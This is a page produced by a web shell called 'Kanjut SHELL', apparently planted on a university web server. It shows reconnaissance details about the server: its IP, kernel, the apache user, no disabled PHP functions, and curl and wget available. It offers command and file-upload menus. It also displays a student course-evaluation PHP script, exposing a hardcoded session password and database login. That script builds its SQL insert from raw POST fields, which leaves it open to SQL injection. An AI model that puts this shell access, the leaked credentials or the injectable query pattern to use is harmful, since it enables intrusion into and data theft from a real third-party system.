Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.119.124.52
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jgrayman/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jgrayman/www/CourseEvalTool5.php
<?php session_start();
        $pass = $_SESSION['psw'];
        if($pass != "project") print "Go away.";
        else
	{
?>
<center>
<h4> Course Evaluation Tool </h4>
<HR>
<?php
     	$gender = $_POST['gender'];
        $grade = $_POST['class'];
        $course = $_POST['course'];
        $proprep = $_POST['proprep'];
        $stupar = $_POST['stupar'];
        $overall = $_POST['overall'];

        $host = 'localhost';
        $user = 'jgrayman';
        $passwd = 'CS389';
        $database = 'jgrayman';
        $connect = mysqli_connect($host, $user, $passwd);
        $query = "insert into EVALUATION values ('$gender', '$grade', '$course', '$proprep', '$stupar', '$overall')";
        print "Query: <i> $query </i>";
        mysqli_select_db($connect, $database);
        if(mysqli_query($connect, $query))
                print "<p>Insert successful.<p>";
        else
            	print "<p>Insert failed.<p>";
        mysqli_close($connect);
        include ("display5.php");
?>
<p>
<font size="2">
<A HREF=index.html> Home </A> | <A HREF=CourseEvalHomePage5.php> Project Home </A>
</font>
</center>
<?php
}
?>


Stv3n404 - 2023